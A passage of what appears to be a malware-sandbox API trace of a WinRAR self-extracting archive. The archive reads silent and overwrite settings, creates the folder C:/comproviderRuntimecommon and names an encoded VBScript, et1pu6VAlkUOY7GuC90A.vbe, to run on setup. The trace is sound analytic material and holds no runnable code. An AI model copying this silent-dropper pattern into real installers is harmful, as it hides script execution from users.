cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.415] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0075.415] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0075.415] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x3bfa84, nSize=0x1000 | out: lpDst="1") returned 0x2 [0075.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0075.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0075.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 2 [0075.416] ExpandEnvironmentStringsW (in: lpSrc="\"C:/comproviderRuntimecommon/\"", lpDst=0x3bfa84, nSize=0x1000 | out: lpDst="\"C:/comproviderRuntimecommon/\"") returned 0x1f [0075.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 2 [0075.416] ExpandEnvironmentStringsW (in: lpSrc="et1pu6VAlkUOY7GuC90A.vbe", lpDst=0x3bfa84, nSize=0x1000 | out: lpDst="et1pu6VAlkUOY7GuC90A.vbe") returned 0x19 [0075.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0075.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0075.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0075.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0075.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0075.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0075.417] ExpandEnvironmentStringsW (in: lpSrc="U", lpDst=0x3bfa84, nSize=0x1000 | out: lpDst="U") returned 0x2 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 3 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 3 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 3 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 3 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 3 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="License", cchCount2=-1) returned 3 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 3 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 3 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 3 [0075.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 2 [0075.418] SendMessageW (hWnd=0xa005c, Msg=0x111, wParam=0x1, lParam=0x0) returned 0x0 [0075.418] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0075.418] GetProcAddress (hModule=0x76860000, lpProcName="GetDlgItemTextW") returned 0x7689bc18 [0075.418] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3cb8a0 | out: lpflOldProtect=0x3cb8a0*=0x4) returned 1 [0075.419] GetDlgItemTextW (in: hDlg=0xa005c, nIDDlgItem=102, lpString=0x3db468, cchMax=2048 | out: lpString="C:/comproviderRuntimecommon/") returned 0x1c [0075.419] GetDlgItem (hDlg=0xa005c, nIDDlgItem=104) returned 0x2031a [0075.419] SendMessageW (hWnd=0x2031a, Msg=0xb1, wParam=0x0, lParam=0xffffffff) returned 0x0 [0075.419] SendMessageW (hWnd=0x2031a, Msg=0xc2, wParam=0x0, lParam=0x13035b4) returned 0x0 [0075.420] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0075.420] GetProcAddress (hModule=0x76860000, lpProcName="SetFocus") returned 0x76882175 [0075.420] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3cb8ac | out: lpflOldProtect=0x3cb8ac*=0x4) returned 1 [0075.420] SetFocus (hWnd=0x2031a) returned 0x0 [0075.436] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0075.437] GetProcAddress (hModule=0x76860000, lpProcName="LoadStringW") returned 0x76878eb9 [0075.437] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3cb87c | out: lpflOldProtect=0x3cb87c*=0x4) returned 1 [0075.437] LoadStringW (in: hInstance=0x12d0000, uID=0xb9, lpBuffer=0x1311798, cchBufferMax=1024 | out: lpBuffer="Extracting files to %s folder") returned 0x1d [0075.437] GetLastError () returned 0x0 [0075.437] SetLastError (dwErrCode=0x0) [0075.438] PeekMessageW (in: lpMsg=0x3cb880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3cb880) returned 0 [0075.438] GetDlgItem (hDlg=0xa005c, nIDDlgItem=104) returned 0x2031a [0075.438] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0075.438] GetProcAddress (hModule=0x76860000, lpProcName="ShowWindow") returned 0x76880dfb [0075.438] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3cb830 | out: lpflOldProtect=0x3cb830*=0x4) returned 1 [0075.438] ShowWindow (hWnd=0x2031a, nCmdShow=5) returned 1 [0075.438] SendMessageW (hWnd=0x2031a, Msg=0xb1, wParam=0x0, lParam=0xffffffff) returned 0x0 [0075.439] SendMessageW (hWnd=0x2031a, Msg=0xc2, wParam=0x0, lParam=0x13035b4) returned 0x0 [0075.439] SendMessageW (hWnd=0x2031a, Msg=0xb1, wParam=0x5f5e100, lParam=0x5f5e100) returned 0x0 [0075.439] SendMessageW (hWnd=0x2031a, Msg=0x43a, wParam=0x0, lParam=0x3cb8b4) returned 0xf800003f [0075.439] SendMessageW (hWnd=0x2031a, Msg=0x444, wParam=0x1, lParam=0x3cb8b4) returned 0x1 [0075.439] SendMessageW (hWnd=0x2031a, Msg=0xc2, wParam=0x0, lParam=0x3d9340) returned 0x37 [0075.449] SendMessageW (hWnd=0x2031a, Msg=0xb1, wParam=0x5f5e100, lParam=0x5f5e100) returned 0x37 [0075.450] SendMessageW (hWnd=0x2031a, Msg=0xc2, wParam=0x0, lParam=0x130431c) returned 0x1 [0075.450] CreateDirectoryW (lpPathName="C:/comproviderRuntimecommon" (normalized: "c:\\comproviderruntimecommon"), lpSecurityAttributes=0x0) returned 1 [0075.455] SetFileAttributesW (lpFileName="C:/comproviderRuntimecommon", dwFileAttributes=0x0) returned 1 [0075.455] SetCurrentDirectoryW (lpPathName="C:/comproviderRuntimecommon/" (normalized: "c:\\comproviderruntimecommon")) returned 1 [0075.456] GetTickCount () returned 0x137fab9 [0075.456] GetLastError () returned 0x6 [0075.456] SetLastError (dwErrCode=0x6) [0075.456] CreateFileW (lpFileName="__tmp_rar_sfx_access_check_20445881" (normalized: "c:\\comproviderruntimecommon\\__tmp_rar_sfx_access_check_20445881"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c [0075.456] CloseHandle (hObject=0x1c) returned 1 [0075.457] DeleteFileW (lpFileName="__tmp_rar_sfx_access_check_20445881" (normalized: "c:\\comproviderruntimecommon\\__tmp_rar_sfx_access_check_20445881")) returned 1 [0075.458] GetDlgItem (hDlg=0xa005c, nIDDlgItem=103) returned 0x20328 [0075.458] ShowWindow (hWnd=0x20328, nCmdShow=0) returned 1 [0075.458] GetDlgItem (hDlg=0xa005c, nIDDlgItem=102) returned 0xa005e [0075.458] ShowWindow (hWnd=0xa005e, nCmdShow=0) returned 1 [0075.458] LoadStringW (in: hInstance=0x12d0000, uID=0xe6, lpBuffer=0x1311f98, cchBufferMax=1024 | out: lpBuffer="Pause") returned 0x5 [0075.458] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0075.458] GetProcAddress (hModule=0x76860000, lpProcName="SetDlgItemTextW") returned 0x7689cfa0 [0075.458] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3cb8a4 | out: lpflOldProtect=0x3cb8a4*=0x4) returned 1 [0075.458] SetDlgItemTextW (hDlg=0xa005c, nIDDlgItem=1, lpString="Pause") returned 1 [0075.459] GetDlgItem (hDlg=0xa005c, nIDDlgItem=105) returned 0x2031c [0075.459] ShowWindow (hWnd=0x2031c, nCmdShow=9) returned 0 [0075.459] SetDlgItemTextW (hDlg=0xa005c, nIDDlgItem=101, lpString="") returned 1 [0075.459] GetDlgItem (hDlg=0xa005c, nIDDlgItem=101) returned 0x4018a [0075.459] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0075.459] GetProcAddress (hModule=0x76860000, lpProcName="GetWindowLongW") returned 0x76876ffe [0075.459] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3cb8a8 | out: lpflOldProtect=0x3cb8a8*=0x4) returned 1 [0075.459] GetWindowLongW (hWnd=0x4018a, nIndex=-16) returned 1342341120 [0075.459] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0075.460] GetProcAddress (hModule=0x76860000, lpProcName="SetWindowLongW") returned 0x76878332 [0075.460] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3cb8a4 | out: lpflOldProtect=0x3cb8a4*=0x4) returned 1 [0075.460] SetWindowLongW (hWnd=0x4018a, nIndex=-16, dwNewLong=1342341248) returned 1342341120 [0075.461] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x3adb94, nSize=0x1000 | out: lpDst="1") returned 0x2 [0075.461] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.461] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.461] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.461] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0075.461] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0075.461] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x3adb88, nSize=0x1000 | out: lpDst="1") returned 0x2 [0075.461] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.461] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 2 [0075.462] ExpandEnvironmentStringsW (in: lpSrc="\"C:/comproviderRuntimecommon/\"", lpDst=0x3adb88, nSize=0x1000 | out: lpDst="\"C:/comproviderRuntimecommon/\"") returned 0x1f [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 2 [0075.462] ExpandEnvironmentStringsW (in: lpSrc="et1pu6VAlkUOY7GuC90A.vbe", lpDst=0x3adb88, nSize=0x1000 | out: lpDst="et1pu6VAlkUOY7GuC90A.vbe") returned 0x19 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0075.462] ExpandEnvironmentStringsW (in: lpSrc="U", lpDst=0x3adb88, nSize=0x1000 | out: lpDst="U") returned 0x2 [0075.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 3 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 3 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 3 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 3 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 3 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="License", cchCount2=-1) returned 3 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 3 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 3 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 3 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 2 [0075.463] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x3adb94, nSize=0x1000 | out: lpDst="1") returned 0x2 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0075.463] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x3adb88, nSize=0x1000 | out: lpDst="1") returned 0x2 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 2 [0075.463] ExpandEnvironmentStringsW (in: lpSrc="\"C:/comproviderRuntimecommon/\"", lpDst=0x3adb88, nSize=0x1000 | out: lpDst="\"C:/comproviderRuntimecommon/\"") returned 0x1f [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 2 [0075.463] ExpandEnvironmentStringsW (in: lpSrc="et1pu6VAlkUOY7GuC90A.vbe", lpDst=0x3adb88, nSize=0x1000 | out: lpDst="et1pu6VAlkUOY7GuC90A.vbe") returned 0x19 [0075.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0075.464] ExpandEnvironmentStringsW (in: lpSrc="U", lpDst=0x3adb88, nSize=0x1000 | out: lpDst="U") returned 0x2 [0075.464] CompareStringW 